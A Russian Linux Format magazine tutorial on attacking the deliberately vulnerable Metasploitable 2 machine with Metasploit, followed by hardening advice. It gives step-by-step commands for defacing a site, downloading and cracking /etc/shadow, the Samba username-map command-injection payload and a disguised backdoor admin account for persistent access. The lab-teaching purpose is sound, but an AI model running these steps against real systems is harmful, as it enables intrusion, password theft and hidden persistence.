Журнал LinuxFormat - перейти на главную

LXF163: Безопасность: Хак сервера

Материал из Linuxformat
Перейти к: навигация, поиск


Metasploit: По­би­вай­те ха­ке­ров их же ору­жи­ем, изу­чив ме­то­ды, ко­то­ры­ми они поль­зу­ют­ся

Содержание

Безо­пас­ность: Хак сер­ве­ра

Бен Эве­рард по­ка­жет вам не­сколь­ко под­лых трю­ков, ко­то­ры­ми поль­зу­ют­ся ха­ке­ры для взло­ма, и наи­луч­шие спо­со­бы ос­та­но­вить их.

(thumbnail)
Наш эксперт Бен Эве­рард бро­сил ра­бо­ту IT-кон­суль­тан­та, что­бы на два го­да от­пра­вить­ся в Тан­за­нию ус­та­нав­ли­вать сис­те­мы на ба­зе Ubuntu в шко­лах. Те­перь его зна­ния на­хо­дят при­ме­не­ние в бур­ля­щем кот­ле от­кры­тий – ре­дак­ции Linux Format.

Ха­кер­ст­во счи­та­ет­ся чем-то вро­де чер­ной ма­гии, о ко­то­рой при­ня­то го­во­рить при­глу­шен­ным го­ло­сом или на не под­даю­щем­ся рас­шиф­ров­ке 1337-жар­гоне [Ин­тернет-ва­ри­ант анг­лий­ско­го у ха­ке­ров, за­ме­няю­щих бу­к­вы на по­хо­жие циф­ры – так, 1337 зна­чит leet, «эли­та», – прим. пер.] в по­доз­ри­тель­ных за­ко­ул­ках Ин­тернета. Од­на­ко хо­ро­ший си­сад­мин обя­зан нау­чить­ся хо­тя бы основ­ным ха­кер­ским умениям, что­бы быть в со­стоянии обес­пе­чить эф­фек­тив­ную за­щи­ту.

На этом уро­ке мы бу­дем ис­поль­зо­вать Metasploit, web-кли­ент для управ­ления и ор­ганиза­ции атак. Он идет в несколь­ких вер­си­ях; вер­сия со­об­ще­ст­ва – ко­то­рой мы и бу­дем здесь поль­зо­вать­ся – бес­плат­ная, но вам при­дет­ся за­ре­ги­ст­ри­ро­вать­ся, что­бы по­лу­чить ключ. В ка­че­­ст­ве аль­тер­на­ти­вы мо­же­те ис­поль­зо­вать Metasploit-Framework, ин­ст­ру­мент команд­ной стро­ки с от­кры­тым ко­дом, для ор­ганиза­ции тех же са­мых атак.

Metasploit Community Edition мож­но за­гру­зить с www.metasploit.com/download. Это лю­би­мый ин­ст­ру­мент как на­чи­наю­щих ха­ке­ров (ко­то­рые це­нят в нем под­бор­ку экс­плой­тов и про­стой в ис­поль­зо­вании ин­тер­фейс), так и умуд­рен­ных опы­том про­фес­сио­на­лов, ко­то­рые це­нят спо­соб­ность бы­ст­ро ор­ганизо­вы­вать но­вые ата­ки.

Для тес­ти­ро­вания втор­жения всегда нуж­на жерт­ва, и в этом слу­чае мы бу­дем ис­поль­зо­вать Metasploitable 2, соз­на­тель­но соз­дан­ную уяз­ви­мой ма­ши­ну, чья цель – обу­чить рас­по­зна­вать втор­жение. Она име­ет­ся на DVD; так­же мож­но за­гру­зить ее с www.sourceforge.net/projects/metasploitable/files/Metasploitable2. По­лу­чив ее, прой­ди­те че­рез по­ша­го­вую на­строй­ку тес­то­вой сре­ды.

Соз­дав эту сре­ду, начнем ха­кер­скую ата­ку! Metasploit ра­бо­та­ет над «про­ек­та­ми», и пер­вое, что нам на­до сде­лать – соз­дать но­вый. На­цель­те свой брау­зер на https://localhost:3790 и вой­ди­те в web-при­ло­жение. За­тем пе­рей­ди­те в Project (ввер­ху спра­ва) > Create New Project [Про­ект > Соз­дать но­вый про­ект]. Нуж­но бу­дет дать ему имя и опи­сание, но важ­ным раз­де­лом на странице Project Settings [На­строй­ки] яв­ля­ет­ся Network Range [Диа­па­зон се­ти]. Он оп­ре­де­ля­ет IP-ад­ре­са для сканиро­вания. То, что вой­дет сю­да, за­ви­сит от диа­па­зо­на се­ти на хосте [host-only] VirtualBox. По умол­чанию это бу­дет 192.168.56.1-255. Но ес­ли вы ис­поль­зуе­те этот диа­па­зон в сво­ей обыч­ной се­ти, вам, воз­мож­но, при­дет­ся ис­пра­вить его и здесь, и в VirtualBox. Вве­дя все дан­ные, щелкните по Create Project.

Те­перь Metasploit пе­ре­ве­дет вас на страницу Overview [Об­зор]. Щелкните по Scan… [Сканиро­вание] за­тем Launch Scan [За­пуск сканиро­вания] для оп­ре­де­ления всех хостов в ва­шей се­ти. Об­на­ру­жит­ся две ма­ши­ны: хост и вир­ту­аль­ная ма­ши­на Metasploitable.

Зай­дем на сер­вер

По за­вер­шении вернитесь в Overview, и вы долж­ны уви­деть в спи­ске два хоста. Щелкните по 2 Hosts для про­смот­ра, за­тем щелкните по IP-ад­ре­су Metasploitable для про­смот­ра под­роб­но­стей, об­на­ру­жен­ных Metasploit.

Во вклад­ке Vulnerabilities [Уяз­ви­мо­сти] вы най­де­те уяз­ви­мость Java. Щелкните по пер­вой ссыл­ке в ко­лон­ке Exploit [Эксплойт], за­тем – Run Module [Запустить модуль].

Это под­вергнет уяз­ви­мость ата­ке для по­лу­чения досту­па к сер­ве­ру. По за­вер­шении ра­бо­ты экс­плой­та щелкните по вклад­ке Session, за­тем Session 1, и, на­конец, Command Shell для пе­ре­хо­да в обо­лоч­ку Meterpreter. Это ин­тер­фейс команд­ной стро­ки, спе­ци­аль­но раз­ра­бо­тан­ный для взаи­мо­дей­ст­вия со взло­ман­ны­ми сер­ве­ра­ми. Ос­нов­ная разница ме­ж­ду ним и обыч­ной обо­лоч­кой в том, что он ра­бо­та­ет как на хост-сис­те­ме, так и на взло­ман­ном сер­ве­ре, по­зво­ляя пе­ренести ин­фор­ма­цию с од­но­го на дру­гой. Он за­дей­ст­ву­ет две ра­бо­чих ди­рек­то­рии: обыч­ную ра­бо­чую ди­рек­то­рию на сер­ве­ре, а локаль­ная ра­бо­чая ди­рек­то­рия – на локаль­ной ма­шине. Что­бы вы­вес­ти их на эк­ран, ис­поль­зуй­те

getwd

для рас­пе­чат­ки ди­рек­то­рии на сер­ве­ре, и

getlwd

Вы мо­же­те вы­вес­ти пол­ный спи­сок команд, вве­дя help. В ис­тин­но ха­кер­ской манере по­свя­тим на­шу пер­вую ата­ку со­вер­шению ван­да­лиз­ма с глав­ной страницей сер­ве­ра, так что пе­ре­мес­тим­ся в со­от­вет­ст­вую­щие ди­рек­то­рии:

cd /var/www

lcd /home/ben

где /home/ben – это ва­ша до­маш­няя ди­рек­то­рия на ло­каль­ной ма­ши­не. За­тем за­хва­тим глав­ную стра­ни­цу сер­ве­ра с по­мо­щью

download index.php

Файл index.php ско­пи­ру­ет­ся в ва­шу до­маш­нюю ди­рек­то­рию, и вы смо­же­те от­ре­дак­ти­ро­вать его по сво­ему усмот­рению и сде­лать с ним все, че­го ду­ша по­же­ла­ет. Из-за прав досту­па мо­жет ока­зать­ся, что на­до ис­поль­зо­вать тек­сто­вый ре­дак­тор от имени root, на­при­мер, за­пустив sudo nano index.php (в локаль­ном тер­ми­на­ле, не в обо­лоч­ке Meterpreter). Мы до­ба­ви­ли стро­ки

You’ve been pwnd by 83n’5 1337 h@x1n6 5Ki1Lz

</code>

в те­ло HTML.


По­сле со­от­вет­ст­вую­щей на­строй­ки мо­же­те вер­нуть ее на сер­вер, ис­поль­зуя

upload index.php

На­пра­вив свой брау­зер на сайт сер­ве­ра Metasploitable (в на­шем слу­чае – http://192.168.56.101), вы уви­ди­те ре­зуль­та­ты сво­их тру­дов (см. рис. 1).

Мы мо­жем пой­ти на шаг даль­ше и под­верг­нуть ата­ке поль­зо­ва­тель­ские па­ро­ли. Для это­го сна­ча­ла ук­ра­дем файл shadow с хэ­ша­ми па­ро­лей.

В обо­лоч­ке Meterpreter вве­ди­те

cd /etc

download shadow

Те­перь на сво­ей локаль­ной ма­шине взло­майте па­ро­ли, ис­поль­зуя John The Ripper. Обыч­но это при­ло­жение идет в па­ке­те под на­званием john (он есть в ре­по­зи­то­ри­ях боль­шин­ст­ва ди­ст­ри­бу­ти­вов). Ус­та­но­вив его, от­крой­те локаль­ный тер­ми­нал и за­пусти­те

john shadow

JTR по­пы­та­ет­ся взло­мать па­ро­ли, на­чав с под­бор­ки на осно­ве сло­ва­ря. Обыч­но вам при­хо­дит­ся вы­клю­чать все осталь­ные при­ло­жения, что­бы вы­сво­бо­дить для это­го про­цес­са боль­шую часть сис­тем­ных ре­сур­сов, но в дан­ном слу­чае это из­ли­ше­ст­­во. Шесть из се­ми па­ро­лей бу­дут по­доб­ра­ны поч­ти немед­лен­но. На па­роль root уй­дет ку­да боль­ше вре­мени, но он нам не ну­жен. Ис­поль­зуй­те Ctrl + c, что­бы пре­рвать взлом, как толь­ко по­лу­чи­те па­роль к msfadmin. Те­перь по­дключи­тесь че­рез ssh к ком­пь­ю­теру Metasploitable:

ssh msfadmin@192.168.56.101

Вы долж­ны бы­ли по­лу­чить па­роль во вре­мя вы­полнения по­следнего ша­га (мы не бу­дем де­лать все за вас!) Msfadmin име­ет пра­ва ад­минист­ра­то­ра, и вы смо­же­те соз­дать обо­лоч­ку root:


sudo bash

Те­перь рез­ви­тесь как хотите! Конеч­но, ес­ли вы по­вре­ди­те сис­те­му, вам, пре­ж­де чем при­сту­пать к но­вым ата­кам, при­дет­ся за­но­во соз­да­вать вир­ту­аль­ный же­ст­кий диск.

Од­ной из глав­ных за­дач в ха­кер­ст­ве яв­ля­ет­ся об­на­ру­жение ра­бо­таю­щих на сер­ве­ре уяз­ви­мо­стей. В пре­ды­ду­щей ата­ке Metasploit на­шел для нас од­ну, но это слу­чай ред­кий. Обыч­но при­хо­дит­ся занимать­ся прак­ти­че­­ски де­тек­тив­ной ра­бо­той или при­ме­нять ста­рый до­б­рый ме­тод проб и оши­бок. В Metasploit пе­рей­ди­те в Analysis > Hosts [Ана­лиз > Хосты] и щелкните по хосту Metasploitable. На но­вой странице вы уви­ди­те спи­сок сер­ви­сов. По­про­бу­ем под­верг­нуть ата­ке Samba.

Пе­рей­ди­те в Modules, вве­ди­те Samba в Search Modules [По­иск мо­ду­лей] и на­жми­те на Enter. У вас долж­на ото­бра­зить­ся се­рия мо­ду­лей, ко­то­рые мо­гут ра­бо­тать (хо­тя мно­гие из них не бу­дут). Не­мно­го экс­пе­ри­мен­тов – и мы об­на­ру­жим, что ра­бо­та­ет Samba “username map script” Command Execution.

Щелкните по ее ссыл­ке в спи­ске Modules, что­бы от­крыть но­вую страницу, пе­ре­чис­ляю­щую ее оп­ции. Из­мените Target Addresses [Це­ле­вые ад­ре­са], что­бы это был про­сто IP сер­ве­ра Metasploitable, из­мените Payload Type с Meterpreter на Command Shell, и щелкните по Run Module. От­кро­ет­ся но­вая обо­лоч­ка, но вме­сто ин­тер­фей­са Meterpreter, ко­то­рый мы ис­поль­зо­ва­ли рань­ше, мы попадем в бо­лее зна­ко­мую команд­ную стро­ку Bash. За­пуск whoami объ­яснит нам, что мы root.

С пра­ва­ми root нам под­вла­ст­но все. По­ми­мо из­менения дан­ных на сер­ве­ре, мы мо­жем ис­поль­зо­вать его как часть бо­лее круп­ной ата­ки. На­при­мер, уста­но­вим на нем John The Ripper и при­меним его мощь для взло­ма па­ро­лей. Од­на­ко спер­ва на­до убе­дить­ся, что у нас есть по­сто­ян­ный доступ. Поль­зо­ва­те­ли мо­гут ме­нять свои па­ро­ли, а си­сад­ми­ны – об­нов­лять про­грам­мы в лю­бое вре­мя, и мы долж­ны быть го­то­вы оста­вить се­бе ла­зей­ку на та­кой слу­чай. Мож­но за­гру­зить в сис­те­му тро­ян, но про­ще бу­дет соз­дать соб­ст­вен­но­го поль­зо­ва­те­ля и за­хо­дить че­рез ssh.

adduser sqladmin -M

adduser sqladmin admin

соз­даст поль­зо­ва­те­ля sqladmin и даст ему пра­ва ад­минист­ра­то­ра (sudo). -M при­ка­жет сис­те­ме не соз­да­вать до­маш­нюю ди­рек­то­рию для поль­зо­ва­те­ля – это по­мо­жет из­бе­жать лишних по­доз­рений. Мы взя­ли «псевдоним» sqladmin – он зву­чит как имя сис­тем­но­го поль­зо­ва­те­ля и в лю­бом от­че­те не по­ка­жет­ся ино­род­ным.

Пау­за на раз­мыш­ления

Но пре­ж­де чем пустить­ся в пляс, пред­вку­шая, ка­кое без­обра­зие мы сей­час учиним, да­вай­те вернем­ся на шаг на­зад и по­смот­рим, как ра­бо­та­ет скрипт.

Уяз­ви­мость кро­ет­ся в скрип­те Samba username map. Он не ис­поль­зу­ет­ся в на­строй­ке Samba по умол­чанию и не сра­бо­та­ет на мно­гих сис­те­мах Samba да­же и с уяз­ви­мой вер­си­ей сер­ве­ра. Но ес­ли эта оп­ция ак­ти­ви­ро­ва­на, сер­вер пе­ре­даст имя поль­зо­ва­те­ля скрип­ту, ко­то­рый ото­бра­жа­ет имя поль­зо­ва­те­ля, пре­достав­лен­ное уда­лен­ным кли­ен­том, в имени, ко­то­рое Samba долж­на ис­поль­зо­вать в ка­че­­ст­ве ло­ги­на. Од­на­ко скрипт user map — это про­сто ко­ман­да сис­те­ме, и Samba не про­ве­ря­ет вво­ди­мых имен поль­зо­ва­те­лей для лю­бых сим­во­лов обо­лоч­ки пе­ред от­сыл­кой их скрип­ту.

Отыщи­те скрипт экс­плой­та usermap_script.rb в /opt/metasploit- 4.4.0/msf3/modules/exploits/multi/samba и от­крой­те его в тек­сто­вом ре­дак­то­ре. Это скрипт Ruby, но не го­рюй­те, ес­ли вы не знае­те это­го язы­ка – он вполне по­ня­тен и не тре­бу­ет объ­яснений. Боль­шин­ст­во скрип­та со­став­ля­ют раз­лич­ные оп­ре­де­ления, а нижний раз­дел, под def exploit, вы­пол­ня­ет всю гряз­ную ра­бо­ту.

Фак­ти­че­­ски, ключ к это­му взло­му – все­го од­на стро­ка:

username = “/=`nohup “ payload.encoded + “`”

Она соз­да­ет имя поль­зо­ва­те­ля-вре­ди­те­ля, ко­то­рое за­тем от­прав­ля­ет­ся жерт­ве. nohup – это ко­ман­да no hangup. Это оз­на­ча­ет, что ее ис­полнение про­дол­жит­ся и по­сле то­го, как поль­зо­ва­тель вый­дет из сис­те­мы. payload.encoded воз­вра­ща­ет вре­до­носный код, ко­то­рый соз­да­ет для нас обо­лоч­ку. Зна­чок ` обес­пе­чи­ва­ет вы­полнение обо­лоч­кой ко­ман­ды пе­ред пе­ре­да­чей ре­зуль­та­та скрип­ту user map. Од­на­ко по­ка она дой­дет до это­го скрип­та (ко­то­рый даст сбой, по­то­му что мы да­же не пы­та­лись вой­ти в сис­те­му, а про­сто ис­поль­зо­ва­ли эту ко­ман­ду как ла­зей­ку), мы уже сде­ла­ем свое де­ло.

Конеч­ный раз­дел про­сто от­сы­ла­ет имя поль­зо­ва­те­ля жерт­ве, что­бы по­смот­реть, ка­ков бу­дет от­вет.

На­при­мер, ес­ли не осо­бо зло­на­ме­рен­ный ха­кер про­сто хо­чет со­хранить ко­пии фай­лов в те­ку­щей ди­рек­то­рии, он мо­жет при­слать ls > steal.this. Тогда имя поль­зо­ва­те­ля бу­дет

/=`nohup ls > steal.this`

Ес­ли скрипт user map про­сто echo и не пре­об­ра­зо­вы­ва­ет имя поль­зо­ва­те­ля, а все­го лишь по­вто­ря­ет его, то сер­вер Samba ис­полнит сле­дую­щее:

echo /=`nohup ls > steal.this`

За­пустив это на сво­ей сис­те­ме, вы об­на­ру­жи­те, что ис­пол­ня­ет­ся (весь­ма неопас­ный) па­кет и соз­дан файл steal.this с ко­пией локаль­ной ди­рек­то­рии. В на­шей из­на­чаль­ной ата­ке этот па­кет был за­менен на тот, что за­пуска­ет уда­лен­ную сес­сию обо­лоч­ки. Од­на­ко в прин­ци­пе в эту ата­ку мож­но вклю­чить все что угод­но. Ес­ли вам не нуж­на ин­те­рак­тив­ная обо­лоч­ка, от­правь­те скрипт для вы­полнения лю­бых необ­хо­ди­мых дей­ст­вий.

За­щи­та

Но как же ук­ре­пить свой сер­вер для за­щи­ты от атак? Как мы не уста­ем по­вто­рять, луч­шая за­щи­та – по­сто­ян­ное об­нов­ление ва­ших про­грамм. Ес­ли вы ра­бо­тае­те с сер­ве­ром, прель­сти­тель­ным для ха­кер­ских атак, но не хо­ти­те еже­днев­но об­нов­лять­ся, ста­рай­тесь не про­пускать са­мых важ­ных об­нов­лений, от­сле­жи­вая со­об­щения о безо­пас­но­сти. У всех основ­ных ди­ст­ри­бу­ти­вов есть сай­ты и спи­ски рас­сыл­ки, где име­ют­ся раз­де­лы, по­свя­щен­ные ре­шению про­блем безо­пас­но­сти. Для Debain их мож­но най­ти на www.debian.org/security, для Ubuntu — на www.ubuntu.com/usn, а для Red Hat – на access.redhat.com/security/updates/advisory. Ес­ли вы ис­поль­зуе­те клон Red Hat Enterprise Linux, на­при­мер, CentOS или Scientific Linux, то ме­ж­ду объ­яв­лением и вы­хо­дом за­плат­ки мо­жет прой­ти неко­то­рое вре­мя. Вто­рой клю­че­вой мо­мент обес­пе­чения безо­пас­но­сти сер­ве­ра – со­кра­щение ко­ли­че­­ст­ва доступ­ных сер­ви­сов. Чем мень­ше пор­тов от­кры­то ха­ке­ру, тем мень­ше об­лас­тей мо­гут под­верг­нуть­ся ата­ке. В тер­ми­но­ло­гии тес­та на за­щи­ту от несанк­циониро­ван­но­го досту­па это на­зы­ва­ет­ся со­кра­щением век­тор­но­го про­стран­ст­ва ата­ки.

Вы мо­же­те по­ис­кать в мо­ду­лях Metasploit и по­смот­реть, сколь­ко уяз­ви­мо­стей бы­ло в про­шлом у ка­ж­до­го сер­ви­са. Это по­мо­жет при­мер­но рас­счи­тать, сколь­ко уяз­ви­мо­стей ждет вас в бу­ду­щем. Ин­ст­ру­мен­ты ти­па SELinux услож­нят зло­деям вы­полнение их захватнических пла­нов, но толь­ко при пра­виль­ной на­строй­ке.

Когда речь идет о безо­пас­но­сти, злей­ши­ми вра­га­ми поль­зо­ва­те­лей неред­ко бы­ва­ют они са­ми. Во вре­мя пер­вой ата­ки мы ви­де­ли, как бы­ст­ро взла­мы­ва­ют­ся нена­деж­ные па­ро­ли. Вы мо­же­те на­стро­ить свою по­ли­ти­ку па­ро­лей в Linux, ис­поль­зуя Pluggable Authentication Modules (PAM), но са­мый луч­ший спо­соб про­сле­дить, что ва­ши поль­зо­ва­те­ли долж­ным об­ра­зом за­щи­ще­ны – по­пы­тать­ся взло­мать па­ро­ли. За­пусти­те John The Ripper в ва­шем фай­ле shadow и по­смот­ри­те, сколь­ко бу­дет взло­ма­но – пусть он по­ра­бо­та­ет це­лую ночь, а еще луч­ше – все вы­ход­ные, что­бы про­вес­ти боль­ше про­ве­рок. Ес­ли у вас есть под ру­кой ви­део­кар­та, OclHashcat мо­жет восполь­зо­вать­ся до­полнитель­ны­ми ре­сур­са­ми для об­ра­бот­ки дан­ных. По­том со­об­щи­те поль­зо­ва­те­лям, что им сто­ит по­ра­бо­тать над свои­ми па­ро­ля­ми.


В сле­дую­щем ме­ся­це мы рас­смот­рим на сер­ве­ре Metasploitable уяз­ви­мые web-при­ло­же­ния. |

Персональные инструменты
купить
подписаться
Яндекс.Метрика